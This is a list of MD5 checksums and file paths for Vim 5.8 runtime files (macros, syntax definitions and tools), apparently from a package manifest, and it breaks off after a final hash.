+4580e5268ddf10175cdd86f87f481d71 /usr/share/vim/vim58/macros/life/click.me +8b31a991dfe288c232c9f50d2d648435 /usr/share/vim/vim58/macros/life/life.vim +b2fb78b8171648fced8a11816c0d1529 /usr/share/vim/vim58/macros/maze/README.txt.info +153b61da3689ed7a498d0ad7fd8918fe /usr/share/vim/vim58/macros/maze/Makefile +e2aabee8342f3586d360b8586a40b147 /usr/share/vim/vim58/macros/maze/README.txt +8bd8ef771049d3cbf779c7b72f4dbb44 /usr/share/vim/vim58/macros/maze/maze_5.78 +c0a7bc9b665124a464c3dc013f17078c /usr/share/vim/vim58/macros/maze/maze.c +4bc8c24185b0e163d91c25a8f399e156 /usr/share/vim/vim58/macros/maze/maze_5.78.info +6889b6fe110414616ed293100ed4cd9d /usr/share/vim/vim58/macros/maze/maze_mac +d5e35d9246658d3469c6b07cf8c677c6 /usr/share/vim/vim58/macros/maze/mazeansi.c +414eb5c28a5b3e48218d66b19d7daf9e /usr/share/vim/vim58/macros/maze/poster +8827d5b0f357d0c461456e852134bbb8 /usr/share/vim/vim58/macros/maze/poster.info +767316ee1686077eb4af1310cf7d3ab9 /usr/share/vim/vim58/macros/hanoi.info +45a8f8caf8f51719fa11b62e30ce4130 /usr/share/vim/vim58/macros/justify.vim +da835e9113ba238504b7c82bcf85d374 /usr/share/vim/vim58/macros/shellmenu.vim +b6e3912104655c1e1b361aa08f053ed5 /usr/share/vim/vim58/macros/maze.info +0086953528c49355685c336395940eda /usr/share/vim/vim58/macros/urm/README.txt.info +7b3f6c3d2ef72dad5d88dfa6cbdc7231 /usr/share/vim/vim58/macros/urm/README.txt +5f4c2d42d944c21086e831a0ac52b21f /usr/share/vim/vim58/macros/urm/examples +156d11392174a988c62e4ff88f949fc9 /usr/share/vim/vim58/macros/urm/urm +c85f9b90b23870531a6ea800b7b2d995 /usr/share/vim/vim58/macros/urm/urm.vim +81c4a423af61518b8b332ff31b434be3 /usr/share/vim/vim58/macros/urm.info +f8e32ee65ecb31e4e446ba06dfce9ac3 /usr/share/vim/vim58/macros/swapmous.vim +088c6f7dca1d9f017e009bbf81aa09d0 /usr/share/vim/vim58/macros/vimrc +9ac590a5ea107a0d84874920b60d0add /usr/share/vim/vim58/syntax/apachestyle.vim +6b77f0e4fd22035656be07e1b0a07cdb /usr/share/vim/vim58/syntax/2html.vim +f87c8af1915fcf2b7a3a8c24b79d7a46 /usr/share/vim/vim58/syntax/abaqus.vim +46997f0c6785c6046ace8df370e89386 /usr/share/vim/vim58/syntax/abc.vim +18963f33d8043c7d3342380a2a464a89 /usr/share/vim/vim58/syntax/abel.vim +44aaca85ff91288292d89a758167bfc4 /usr/share/vim/vim58/syntax/acedb.vim +873da5a9790b9f16525d02a7ef5e84cf /usr/share/vim/vim58/syntax/ada.vim +78b0fea2f59efc0792a593869e415bc5 /usr/share/vim/vim58/syntax/aflex.vim +439de573ebc2130d97c5f8f8478b58fe /usr/share/vim/vim58/syntax/ahdl.vim +151ae5454506d65dddb6b69aacd7de19 /usr/share/vim/vim58/syntax/amiga.vim +c90983909f7b6045c7897c49cc4366ab /usr/share/vim/vim58/syntax/aml.vim +7e20587386e8d6079951de0235c7d8b5 /usr/share/vim/vim58/syntax/antlr.vim +f0d864d26e42f1f83413315c5b1196b1 /usr/share/vim/vim58/syntax/apache.vim +adee2ed801362279f455c89b73f4d817 /usr/share/vim/vim58/syntax/asm68k.vim +428fe299d610000b797f1fc35d499268 /usr/share/vim/vim58/syntax/asm.vim +46df9b2d7a44ccd2a7e6c73ba4465b79 /usr/share/vim/vim58/syntax/debchangelog.vim +20de6f13a58713147382c68a52a46f72 /usr/share/vim/vim58/syntax/asmh8300.vim +f84bbd006636184e01e260c6e718c6ca /usr/share/vim/vim58/syntax/asn.vim +9b91f325f0b8d570b3f0609259bca13d /usr/share/vim/vim58/syntax/aspperl.vim +a699f4a809acca7d4be406059894052d /usr/share/vim/vim58/syntax/aspvbs.vim +6646a216735b5e139b2162790b3652aa /usr/share/vim/vim58/syntax/atlas.vim +bd4deb0659e599766a71402933dd6be1 /usr/share/vim/vim58/syntax/automake.vim +0830bf2d8b330b562bd0356e3abeb4c8 /usr/share/vim/vim58/syntax/ave.vim +64568763ce2ca4d174119344219ae8a7 /usr/share/vim/vim58/syntax/awk.vim +52eb3b4f751f252de7e3622632bdee0a /usr/share/vim/vim58/syntax/ayacc.vim +6357fa67efb4f4794e2f25e86fd46e27 /usr/share/vim/vim58/syntax/b.vim +ecdf771d4f4aa0e9d4e872f15bc50a8b /usr/share/vim/vim58/syntax/basic.vim +9a025eea229659bdbc98ef3c881ae922 /usr/share/vim/vim58/syntax/bc.vim +2658103dbaaa30070baea7f1c5da4aa5 /usr/share/vim/vim58/syntax/bib.vim +e16e01655437e746a562566dbc47a76e /usr/share/vim/vim58/syntax/bindzone.vim +343cdd5fc57a3b94164580d36848c72d /usr/share/vim/vim58/syntax/blank.vim +834f11b88bfee189abc67a4e7c5a51a0 /usr/share/vim/vim58/syntax/btm.vim +fa4f698317be401d49228c47c16a9e0f /usr/share/vim/vim58/syntax/c.vim +25cb4736276b6d52b8a738e57643129e /usr/share/vim/vim58/syntax/cf.vim +ca363c8f078b3e5592b0d304d28ec083 /usr/share/vim/vim58/syntax/cfg.vim +b29168a802c08248ddafc60b2b77c5a9 /usr/share/vim/vim58/syntax/ch.vim +07e8f1b13528898401cf52f0bfc8ee87 /usr/share/vim/vim58/syntax/change.vim +837d918cc06b4c6501ab93e63d2b29e1 /usr/share/vim/vim58/syntax/changelog.vim +98a6fcd3f2162efeca2e2ed2bb9c1e0b /usr/share/vim/vim58/syntax/cl.vim +719d1de025e315b637ddd5e554643b27 /usr/share/vim/vim58/syntax/clean.vim +4ebdadd972478cf7df9a50c95cfdfb69 /usr/share/vim/vim58/syntax/clipper.vim +a279e4542b0d56d1011abf9fd91da617 /usr/share/vim/vim58/syntax/cobol.vim +3b740ede1774ecc0eec8e2c90843e88f /usr/share/vim/vim58/syntax/colortest.vim +c655cc9b8440ab6e05c8422aed784890 /usr/share/vim/vim58/syntax/conf.vim +1dd01d01acbdb911b97a6ea2cc7dd094 /usr/share/vim/vim58/syntax/config.vim +0c63cd36de2bd36e8ca075f7bde0aab0 /usr/share/vim/vim58/syntax/cpp.vim +987ebf787857237bf8c867e1ead56022 /usr/share/vim/vim58/syntax/crontab.vim +a47718905df00cd27f040ddb832ded50 /usr/share/vim/vim58/syntax/csc.vim +53a8d8cb70c0f1eac343a621d548a8d6 /usr/share/vim/vim58/syntax/csh.vim +54d67023b065cc32ba0f6352e0abdb60 /usr/share/vim/vim58/syntax/csp.vim +cae9f3962683e77dd8b0eef231667dc9 /usr/share/vim/vim58/syntax/css.vim +ad2af04c8f79dc07dffc08241c52310e /usr/share/vim/vim58/syntax/cterm.vim +21809cbb316ba9a4f1b96ec9a13c67c7 /usr/share/vim/vim58/syntax/ctrlh.vim +c0e3940cee2aa20689c847495720ae9d /usr/share/vim/vim58/syntax/cupl.vim +2e4c658952568556d07224f44e337306 /usr/share/vim/vim58/syntax/cuplsim.vim +78f65c07ac4d641653976a9c59d79cda /usr/share/vim/vim58/syntax/cvs.vim +1e3a582c931fe0030dd4b6915583c36e /usr/share/vim/vim58/syntax/cweb.vim +8720a4a37975424a34ac441c16bd991c /usr/share/vim/vim58/syntax/cynlib.vim +de16a94577d78254e052997e724d7d91 /usr/share/vim/vim58/syntax/cynpp.vim +b3b10176c8aa723914c4c05924aee0e9 /usr/share/vim/vim58/syntax/dcl.vim +ba31ff5b20be47c4105a03bafbabcc20 /usr/share/vim/vim58/syntax/debcontrol.vim +7c8db36254b492a16b050096efc853de /usr/share/vim/vim58/syntax/def.vim +b991d151d76a09aafe34193910fb435c /usr/share/vim/vim58/syntax/diff.vim +4a354179acf5c12454b89662e4ee0aea /usr/share/vim/vim58/syntax/diva.vim +330841f3219dd05e82f1ce963ca5d9c9 /usr/share/vim/vim58/syntax/dns.vim +c2575890c2e22687501e9115263e190f /usr/share/vim/vim58/syntax/docbk.vim +c29971f560edc07f5a2dfd95fb80aab6 /usr/share/vim/vim58/syntax/dosbatch.vim +61520d223095345c4af9188ad476ea96 /usr/share/vim/vim58/syntax/dosini.vim +b0c49956097a943174205dc8445c6811 /usr/share/vim/vim58/syntax/dracula.vim +a458905b7c8b54439fe13be32e72c0bd /usr/share/vim/vim58/syntax/dtd.vim +42e516a4e929919989aa9cfbc48f9813 /usr/share/vim/vim58/syntax/dtml.vim +cd3489a22043fb9fe95d4948fd4b4d60 /usr/share/vim/vim58/syntax/dylan.vim +39e3e6ec55de86780f4ba45cb32a449b /usr/share/vim/vim58/syntax/dylanintr.vim +2cc9b0492ab42b5cd9e36b0561488b1f /usr/share/vim/vim58/syntax/dylanlid.vim +19f18f4a95a44899f1db24d03edd78ba /usr/share/vim/vim58/syntax/ecd.vim +99e9fc790246d97cdd366fa54bb2232d /usr/share/vim/vim58/syntax/eiffel.vim +830f3ac6c190c5ce3e97869d3e1a19e1 /usr/share/vim/vim58/syntax/elf.vim +b5da5b1e0cf09137313bc66dd672f76e /usr/share/vim/vim58/syntax/elmfilt.vim +c2ba13ddd85099cc461d05d634c25b0d /usr/share/vim/vim58/syntax/erlang.vim +aa5a1152da5ddd2cef565f7d9b3729fa /usr/share/vim/vim58/syntax/esqlc.vim +4df80d7ba58af8bc765d296ad4032a93 /usr/share/vim/vim58/syntax/expect.vim +95317e436d5cd0855b921ff982b30cab /usr/share/vim/vim58/syntax/exports.vim +99693f7ca4d8de35c948ecb08bd16e2e /usr/share/vim/vim58/syntax/fgl.vim +769033609c977d0368ae7bd101a121f3 /usr/share/vim/vim58/syntax/focexec.vim +546041788d1f041ec585cbb5480f881a /usr/share/vim/vim58/syntax/form.vim +0442a4e8f65f26fb7d6fcd65d3a9884c /usr/share/vim/vim58/syntax/forth.vim +484381f9a8ccd16a560e2474e50c94b5 /usr/share/vim/vim58/syntax/fortran.vim +c19d5bf7a8b8b589f2b694f40732ca24 /usr/share/vim/vim58/syntax/foxpro.vim +de35a2ed985a1f7c7f9bdedac1450234 /usr/share/vim/vim58/syntax/fvwm.vim +9bc067ca9e3e6eaf39d4569bbdb99fa7 /usr/share/vim/vim58/syntax/gdb.vim +2c6d7d98efd4d2d8c668d9b56afaa9bb /usr/share/vim/vim58/syntax/gdmo.vim +f7933fea6405f507794d8ee7d9d2ab0a /usr/share/vim/vim58/syntax/gedcom.vim +e2d05a1ca3f4ffe381a70992dd14234a /usr/share/vim/vim58/syntax/gnuplot.vim +70e632c3c92f0f19129be65f1916b6cd /usr/share/vim/vim58/syntax/gp.vim +79baeb45f72402272d40b83e6ea9bdcb /usr/share/vim/vim58/syntax/gsp.vim +93b54ca6d9777bb1578d7dedcef9a0e6 /usr/share/vim/vim58/syntax/gtkrc.vim +1a7b395f49e527d08eecd1b9775c0480 /usr/share/vim/vim58/syntax/haskell.vim +1415e2bd6e4c7fc657a5f13cef0d751a /usr/share/vim/vim58/syntax/hb.vim +2136bc645d689036fba49f4913800212 /usr/share/vim/vim58/syntax/help.vim +004e7b32ffe71c1bd5980005a3b8b85b /usr/share/vim/vim58/syntax/hercules.vim +916a64b675ef5d1a9b66ba20957a4e11 /usr/share/vim/vim58/syntax/hitest.vim +809c8e662437ebd0973971b134c6fadc /usr/share/vim/vim58/syntax/hog.vim +fa1f1d6961ff8afff6f2fb739bba57ab /usr/share/vim/vim58/syntax/html.vim +50b9cdfbb3923c2c22bd645ad45c9467 /usr/share/vim/vim58/syntax/htmlm4.vim +1944da40513d244c760bc8695a61bee4 /usr/share/vim/vim58/syntax/htmlos.vim +8e93d8db16c79708954e3ca6076f730c /usr/share/vim/vim58/syntax/ia64.vim +67e89aa8abb987d8853186ea37d6bd83 /usr/share/vim/vim58/syntax/icon.vim +ef4610eea0b2e7617e76295658eea7f8 /usr/share/vim/vim58/syntax/idl.vim +4f7e33b37cf611daf4c32144d1c50df8 /usr/share/vim/vim58/syntax/idlang.vim +88fe34fe64c01418291c04a9dbf31ed2 /usr/share/vim/vim58/syntax/inform.vim +3a01b59d72220388fcccd9a4e0aeee14 /usr/share/vim/vim58/syntax/inittab.vim +74cf4b00f128968a36d1a9694a151717 /usr/share/vim/vim58/syntax/ishd.vim +594a3e60aa07ffd2251ecef09f927e5d /usr/share/vim/vim58/syntax/iss.vim +328dba95e3455f873cc6996c64bf85de /usr/share/vim/vim58/syntax/ist.vim +66ef3ca5ab74be5c0c3787bb94543f17 /usr/share/vim/vim58/syntax/jam.vim +5f563d69692532b4796d037b43bef2d4 /usr/share/vim/vim58/syntax/java.vim +6d4d918f9aff07a8563072a7bb99ebbd /usr/share/vim/vim58/syntax/javacc.vim +aba44ffb6b7bcd4ba696e9753a865cc6 /usr/share/vim/vim58/syntax/javascript.vim +635e6697231ba79441cd94d58265941a /usr/share/vim/vim58/syntax/jess.vim +c37dd501b28eaabe72106bce565f156e /usr/share/vim/vim58/syntax/jgraph.vim +c5c69d1bbdeb1211fb7babc95b51f658 /usr/share/vim/vim58/syntax/jproperties.vim +b2e64129961bf3bd8330a031f86fbf4d /usr/share/vim/vim58/syntax/jsp.vim +34c1892db07c7d344a33800e9ef3d28b /usr/share/vim/vim58/syntax/kix.vim +9a6cd8c600d5f25f96ed3128b7bf4b06 /usr/share/vim/vim58/syntax/kscript.vim +f31122ebae839b94184d5e4c8b5eea08 /usr/share/vim/vim58/syntax/kwt.vim +eb12bf79f2889be4dbc67b991c549a54 /usr/share/vim/vim58/syntax/lace.vim +0c4424d49f7c78b4bd7540db5db29e6f /usr/share/vim/vim58/syntax/latte.vim +379a74f3e294d45de884cd2395860e74 /usr/share/vim/vim58/syntax/lex.vim +20773f10a4c34b34893fb830b8892284 /usr/share/vim/vim58/syntax/lhaskell.vim +36fabf555a14b36b088a983a8aecfe43 /usr/share/vim/vim58/syntax/lilo.vim +b07598676b874e9adaa8d24ba54d9c9d /usr/share/vim/vim58/syntax/lisp.vim +78d7d2a1310a259bfeb24b3659eb5c36 /usr/share/vim/vim58/syntax/lite.vim +c9f697f6c57b337d70510ae8d7b66920 /usr/share/vim/vim58/syntax/lotos.vim +30594fb30da66272ca6aa12fdce4654f /usr/share/vim/vim58/syntax/lout.vim +685b07cbccdfc577f14ff96a8f547e12 /usr/share/vim/vim58/syntax/lprolog.vim +329a2a7d4acf9ef5a78d7731a2b53c1e /usr/share/vim/vim58/syntax/lss.vim +425aeef21f604359f71d4d4e0163e4de /usr/share/vim/vim58/syntax/lua.vim +d5b800a8918ede14cd20a633820eeb3b /usr/share/vim/vim58/syntax/m4.vim +01222d7ea7a0743ce3b52878f5c84142 /usr/share/vim/vim58/syntax/mail.vim +14afc1a20aa8e4b04df35f4c4e38ca08 /usr/share/vim/vim58/syntax/make.vim +dbabb4212bc318a8660950f3977fe0fd /usr/share/vim/vim58/syntax/man.vim +03941aee4854e31f7ea5d8040451f49f /usr/share/vim/vim58/syntax/manual.vim +127d84c28d0e27ba66a1171b9ec68c8f /usr/share/vim/vim58/syntax/maple.vim +5322f008613a927a98b48b4c73c9fcaa /usr/share/vim/vim58/syntax/masm.vim +f7f8ffd18812d558c2e64e878914332e /usr/share/vim/vim58/syntax/mason.vim +e2cf470668e1b9691658cb708df4471a /usr/share/vim/vim58/syntax/master.vim +172ba2a6ea5ccb95f7bbec49bfff83a7 /usr/share/vim/vim58/syntax/matlab.vim +02eb8f9c1e7090871c6c4ce5db285a31 /usr/share/vim/vim58/syntax/mel.vim +4df18bc84065a2ea6a2a0ba99da0c1dc /usr/share/vim/vim58/syntax/mf.vim +67f8b2ab280ffa8ab102d5829296ae0f /usr/share/vim/vim58/syntax/mgp.vim +f7271baef950fee1085a14719bd6764f /usr/share/vim/vim58/syntax/mib.vim +23ad71153c26ec54b8d4428f6e472ebe /usr/share/vim/vim58/syntax/mma.vim +8b39f6d526548b2f95ea13884c261c73 /usr/share/vim/vim58/syntax/model.vim +4b7f75d6422fdbc22a385e901d70f3b2 /usr/share/vim/vim58/syntax/modsim3.vim +2155d9c980e8b680d71648ff36550d1f /usr/share/vim/vim58/syntax/modula2.vim +9885cdccf3f6c56b429c7bb85a8c2f90 /usr/share/vim/vim58/syntax/modula3.vim +6556fc94535022a82293ccad8e33d958 /usr/share/vim/vim58/syntax/mp.vim +b59808c0ffe85ceede71926e261e13a4 /usr/share/vim/vim58/syntax/msql.vim +1b6c9fe416bcc8afdadb2c76500861c7 /usr/share/vim/vim58/syntax/muttrc.vim +24c22b04cb4e74023d2c39e101145ebe /usr/share/vim/vim58/syntax/named.vim +c1600f89a2f0c1baefa60ac810d14a09 /usr/share/vim/vim58/syntax/nasm.vim +c84550b6a56bba07fd6d4e20b81c141e /usr/share/vim/vim58/syntax/nastran.vim +6a89f8eaf7419ac3015695d65ce317ee /usr/share/vim/vim58/syntax/ncf.vim +1b9f6dad4b23beecda67197f8b464a33 /usr/share/vim/vim58/syntax/nosyntax.vim +d9e40c1ade320524f6aefc8cd08ebc67 /usr/share/vim/vim58/syntax/nqc.vim +184f6f230da532cc9418b09c75b8965c /usr/share/vim/vim58/syntax/nroff.vim +ec51eb3d1b90c57d3252982c1670b524 /usr/share/vim/vim58/syntax/objc.vim +457fe0fb62fdd8e91160af9e7fb84cee /usr/share/vim/vim58/syntax/ocaml.vim +a8cbe7d43b3c6202db004861bc70e7bb /usr/share/vim/vim58/syntax/omnimark.vim +06158128f7c9e725c55ad4a33f0455c1 /usr/share/vim/vim58/syntax/openroad.vim +804755eb11bb2422c0c86360219d35c7 /usr/share/vim/vim58/syntax/opl.vim +d3d06b8220f739577683c91aee849dd4 /usr/share/vim/vim58/syntax/ora.vim +0fbbe90cade08a3f6ea4aeefbb74daeb /usr/share/vim/vim58/syntax/papp.vim +914d0e0f623dab036bf808872408fca5 /usr/share/vim/vim58/syntax/pascal.vim +20e8a236c48e75f1a275fa5d355ce174 /usr/share/vim/vim58/syntax/pcap.vim +17ff391c4da6c5d88168c60b4ac72015 /usr/share/vim/vim58/syntax/pccts.vim +3fd81f24f79b6bb4d37037fe8e0d2051 /usr/share/vim/vim58/syntax/perl.vim +906f3c491aab2279b449dd0d1d8a91f8 /usr/share/vim/vim58/syntax/pfmain.vim +604d67ade10745422713d5284c3097be /usr/share/vim/vim58/syntax/php.vim +052e90c704d83e2e0051ca1fed43b62a /usr/share/vim/vim58/syntax/phtml.vim +e566c72d7a8e205d17aae78cfa3a9faa /usr/share/vim/vim58/syntax/pic.vim +2105a4de3b971eca2de440af9adbb3c9 /usr/share/vim/vim58/syntax/pike.vim +14721472e96c2e39c896ecf329c24015 /usr/share/vim/vim58/syntax/pine.vim +88202796bc950182694b70619958d46e /usr/share/vim/vim58/syntax/plsql.vim +905dc0a304b8145dde327ea5247a84f8 /usr/share/vim/vim58/syntax/po.vim +07fc21cde21c23793ad8674af3612935 /usr/share/vim/vim58/syntax/pod.vim +5407f998144538a08ad041137c823ae8 /usr/share/vim/vim58/syntax/postscr.vim +2ea9c6183c16d34cbee5600388d79d00 /usr/share/vim/vim58/syntax/pov.vim +0803f2e24decf402c27746b7346f6369 /usr/share/vim/vim58/syntax/ppwiz.vim +4c3d1977d9c28ebfdc4ddaf12bb495d8 /usr/share/vim/vim58/syntax/procmail.vim +f128a2bc52a1471785eebc287650c6ba /usr/share/vim/vim58/syntax/progress.vim +47046618105534b16eec074a077f4c7e /usr/share/vim/vim58/syntax/prolog.vim +0214b0d3ee5e0bdb3a9c9a963c2c67b4 /usr/share/vim/vim58/syntax/psf.vim +7ab1dd25d6e7087a94bc63c2514bd970 /usr/share/vim/vim58/syntax/ptcap.vim +6853ee28de270ce34766829363b9eced /usr/share/vim/vim58/syntax/purifylog.vim +d17330234ab6d1bc85525fa376a2d737 /usr/share/vim/vim58/syntax/python.vim +0b342be3928f96324dd500a718de74af /usr/share/vim/vim58/syntax/r.vim +1250e9382aff814235fd76c4d707e944 /usr/share/vim/vim58/syntax/radiance.vim +f2aa5129ba5043432a74764c7e29bd00 /usr/share/vim/vim58/syntax/rc.vim +293eefadb6c84dda708e2b95593b7b96 /usr/share/vim/vim58/syntax/rcslog.vim +265a988f350ca3fd46c8b3d49b71ba8d /usr/share/vim/vim58/syntax/rebol.vim +4663b51442102c0ab654181d0437ff4b /usr/share/vim/vim58/syntax/registry.vim +cef2b37b6e0c0ec1d172fb173b00d593 /usr/share/vim/vim58/syntax/remind.vim +bc32b9702bde17854fa2588cf2a75ee8 /usr/share/vim/vim58/syntax/rexx.vim +77b9f652605d3de6b09173fc0fe5dd45 /usr/share/vim/vim58/syntax/robots.vim +1222a9545685a683114fa6c3ac49e0b6 /usr/share/vim/vim58/syntax/rpcgen.vim +e0b626843812a37d5169cfaa00bfc170 /usr/share/vim/vim58/syntax/rtf.vim +df72de432e337b677147680b3ab999b4 /usr/share/vim/vim58/syntax/ruby.vim +7682367ce5e8baa1eb052ab2d5a0d9ed /usr/share/vim/vim58/syntax/samba.vim +0ad75af4abe0f3a0a0574931c8bde3b5 /usr/share/vim/vim58/syntax/sas.vim +4e5b4c5604a8303c4bded68d57ec72b1 /usr/share/vim/vim58/syntax/sather.vim +d12c45840ad91528de8cf5dfcd7f51ae /usr/share/vim/vim58/syntax/scheme.vim +8aad0ca70c97200a77732ed90c6c5281 /usr/share/vim/vim58/syntax/sdl.vim +71a0ab78f6423fc20e677cf6f07a4695 /usr/share/vim/vim58/syntax/sed.vim +656588a3b1f956253c49e28dbd90aa0d /usr/share/vim/vim58/syntax/setl.vim +764d1773ab5a150fdedec75f3210de13 /usr/share/vim/vim58/syntax/sgml.vim +a7d9083dd546ea136b96f1004e266e2c /usr/share/vim/vim58/syntax/sgmldecl.vim +5030e3918d2f008c11e92df47b8695de /usr/share/vim/vim58/syntax/sgmllnx.vim +8189566583bdc0303ad010eb8522bc24 /usr/share/vim/vim58/syntax/sh.vim +c8ddbd9ac759f23348ebd3e8c1790e06 /usr/share/vim/vim58/syntax/sicad.vim +833e3f39a4b97f08d1ef642a6aa689c7 /usr/share/vim/vim58/syntax/sl.vim +9e00a9db85d4ca9a7ed9acb248a79efb /usr/share/vim/vim58/syntax/simula.vim +2a99e415799423f158bd0c2242384ae7 /usr/share/vim/vim58/syntax/sinda.vim +778ff1641ca8984ae584729045d93f00 /usr/share/vim/vim58/syntax/sindacmp.vim +57399d9cae279eee81a7fccebe7ea631 /usr/share/vim/vim58/syntax/sindaout.vim +5c6e378218d0e36166e79d770b067c3f /usr/share/vim/vim58/syntax/skill.vim +8350fc30e85c24d39c6c33e4889e41dd /usr/share/vim/vim58/syntax/slang.vim +72c3e77454c4ca05319f0d984c1c8b85 /usr/share/vim/vim58/syntax/slrnrc.vim +8f39b94bee8b70abf33e54e8d4a6e3e3 /usr/share/vim/vim58/syntax/slrnsc.vim +9b9a6faed318b9f8c5fc639f47adac15 /usr/share/vim/vim58/syntax/sm.vim +322598397e73cb3e8eaab98e40865113 /usr/share/vim/vim58/syntax/smil.vim +883b3cc46ae9c3fe841b2602d478ad9d /usr/share/vim/vim58/syntax/smith.vim +835e1dc5731cfb1e8ffc304ab493e51e /usr/share/vim/vim58/syntax/sml.vim +3f3a9a2b237949d249421c1eb00d1570 /usr/share/vim/vim58/syntax/snnsnet.vim +d55257950170189349135e29ec68c1e1 /usr/share/vim/vim58/syntax/snnspat.vim +5a980a36850bad480de07f027a44cc3e /usr/share/vim/vim58/syntax/snnsres.vim +b58b18e7ef6bead55a59080aac0a84be /usr/share/vim/vim58/syntax/snobol4.vim +f47298ca058c9222f95a084481fd61f6 /usr/share/vim/vim58/syntax/spec.vim +e9f553800254e6468f8a1c780470f34f /usr/share/vim/vim58/syntax/spice.vim +8b43a190025f5e1dd0cc77d5f827730c /usr/share/vim/vim58/syntax/spup.vim +31e232fba907ae11a1ac7104474aca9e /usr/share/vim/vim58/syntax/sql.vim +7d833512c6f0e7124acb04df3da60e99 /usr/share/vim/vim58/syntax/sqr.vim +f3fa4f28add17f59330bcd4c5f382192 /usr/share/vim/vim58/syntax/squid.vim +63e4806added1dec286a361bf044006e /usr/share/vim/vim58/syntax/st.vim +53bd5e7fe1180234d52ba7e602535a96 /usr/share/vim/vim58/syntax/stp.vim +d787d024f6e7ed8a5960370fe514fc94 /usr/share/vim/vim58/syntax/strace.vim +23d6abb2dce7d667bdb4f5ed18ed6494 /usr/share/vim/vim58/syntax/synload.vim +1f6cb61bb91fbe8d471e7fe4a97c843a /usr/share/vim/vim58/syntax/syntax.vim +d09af3daf9a4a31b3484b39e3b9d3e36 /usr/share/vim/vim58/syntax/tads.vim +14ec912200bf6575372c603d6654cd89 /usr/share/vim/vim58/syntax/tags.vim +7c40e7f548112c038e8eacb5afb96bdb /usr/share/vim/vim58/syntax/tak.vim +be8e76b6a715fbd1aead3cc209853901 /usr/share/vim/vim58/syntax/takcmp.vim +97d2f1b8d977298132c433473e2a7d56 /usr/share/vim/vim58/syntax/takout.vim +c1b85bb3cf68acfd1bddf910718d6ed9 /usr/share/vim/vim58/syntax/tasm.vim +a05c8e89f07a45ac38f1c23eab61b222 /usr/share/vim/vim58/syntax/tcl.vim +3b0811546fc7b41375f8550c42126da3 /usr/share/vim/vim58/syntax/tex.vim +2eb1349e8f753be5793c06df104c09d3 /usr/share/vim/vim58/syntax/texinfo.vim +e2cea30fa3ffebcd2d368cfd213d0eeb /usr/share/vim/vim58/syntax/texmf.vim +b9cc79a85919b55be881263344578cfb /usr/share/vim/vim58/syntax/tf.vim +e90590b9a82d5e8275191e33aa08804c /usr/share/vim/vim58/syntax/tli.vim +e91f83dc7fc8dc2282514ed86abef2f6 /usr/share/vim/vim58/syntax/trasys.vim +64ba4410ea64531106485a42a64af855 /usr/share/vim/vim58/syntax/tsalt.vim +c0eeb272ecb507097920ac7fd89299ba /usr/share/vim/vim58/syntax/tsscl.vim +0be2b5693f4ca8b0d9556c5f4bc55fc7 /usr/share/vim/vim58/syntax/tssgm.vim +a51df74fe533a26b097628a814487ba8 /usr/share/vim/vim58/syntax/tssop.vim +2e08f3c7a23cd9499481dfa5e7e371d9 /usr/share/vim/vim58/syntax/uc.vim +3c850dbd2fd3ac41f52afb48ce9f3869 /usr/share/vim/vim58/syntax/uil.vim +187f6aef6b671976cdc6ab09ae09c767 /usr/share/vim/vim58/syntax/vb.vim +6c4f4cbd5a8f9a2da7209f13c4c6983e /usr/share/vim/vim58/syntax/verilog.vim +ae796e3acd4280cea74934d2e293c0a8 /usr/share/vim/vim58/syntax/vgrindefs.vim +88c0386eb6ecdebb52fa11f2c9a9be4a /usr/share/vim/vim58/syntax/vhdl.vim +fa48202143392a9602dd84397bfa4f27 /usr/share/vim/vim58/syntax/vim.vim +9dea993a75c45a008a6727e7869b50b2 /usr/share/vim/vim58/syntax/viminfo.vim +6864347b8dce6f0b6d480a7919936650 /usr/share/vim/vim58/syntax/virata.vim +a819f45b541e00a938e4456c4ee080cd /usr/share/vim/vim58/syntax/vrml.vim +ccd4ef22dce21be5496762582faf2ce9 /usr/share/vim/vim58/syntax/vsejcl.vim +8b60ea104afa78dc1a90962e69fe7bf8 /usr/share/vim/vim58/syntax/wdiff.vim +9edc5328604f9bb5c61d51a4e44bc737 /usr/share/vim/vim58/syntax/web.vim +9897c1c825b426ee42c1432540be484d /usr/share/vim/vim58/syntax/webmacro.vim +d4fb228f0e7b287e5ca1f0db3a4b6c5c /usr/share/vim/vim58/syntax/whitespace.vim +f1e821294f2e8f595775fb42903cf4a2 /usr/share/vim/vim58/syntax/winbatch.vim +69f756b4a5a51fe109df369df8013084 /usr/share/vim/vim58/syntax/wml.vim +2d410b366340e2aeb391081b140875c1 /usr/share/vim/vim58/syntax/wsh.vim +956d6c32ac7d4e2470532e606aa28b41 /usr/share/vim/vim58/syntax/xdefaults.vim +1525ad9199ff3dee2be4cff451f03825 /usr/share/vim/vim58/syntax/xkb.vim +9ebc37380a4f456955d6a7478fea52e8 /usr/share/vim/vim58/syntax/xmath.vim +e96878ed6675b90928a81ee22f4044df /usr/share/vim/vim58/syntax/xml.vim +ac6f401d794f86162829e08e33d10248 /usr/share/vim/vim58/syntax/xpm.vim +a0aa8859f58ae6aebb61ea65653d187b /usr/share/vim/vim58/syntax/xpm2.vim +f793575c7a7875d01d0d4162f39b8f87 /usr/share/vim/vim58/syntax/xs.vim +2dbefcc50148cf184713e632b585a5c9 /usr/share/vim/vim58/syntax/xxd.vim +d01bdc2b4b902344421473581426b478 /usr/share/vim/vim58/syntax/yacc.vim +a99891d283971159fe348b3db1b1c376 /usr/share/vim/vim58/syntax/z8a.vim +c493ce1f6c5d4c1a85e92e877049ab1a /usr/share/vim/vim58/syntax/zsh.vim +9f537fa3d468aecf62cba3eb68eadff6 /usr/share/vim/vim58/menu.vim +ed530f36e9ecfaefe4cd3f3f94ba6279 /usr/share/vim/vim58/optwin.vim +839ab2eaa8e1e9660ac720aa38d5b306 /usr/share/vim/vim58/scripts.vim +cb4fd7bf19d68bf9e1465cd85303841d /usr/share/vim/vim58/tools/ccfilter_README.txt +3c8477edba9d323d1139ad9e7ddfc7ec /usr/share/vim/vim58/tools/README.txt +ccee74163816ec74f1af50ce84b9605d /usr/share/vim/vim58/tools/blink.c +de522466f040a7c335b73d43f5cd88ed /usr/share/vim/vim58/tools/ccfilter.1 +ac8fe46c9418753628f4ea5aab0594ee /usr/share/vim/vim58/tools/ccfilter.c +04c9b0617195dbd38cba83401398adb9 /usr/share/vim/vim58/tools/shtags.1 +ffc87f42853543de3adfca96cfcb0165 /usr/share/vim/vim58/tools/ref +4bb198ea85c246e87c7b20783d9aad1f /usr/share/vim/vim58/tools/efm_filter.pl +55a034c94504c23c33e8dbcfc38960a9 /usr/share/vim/vim58/tools/efm_filter.txt +159e5672dba913e856fca726beab479e 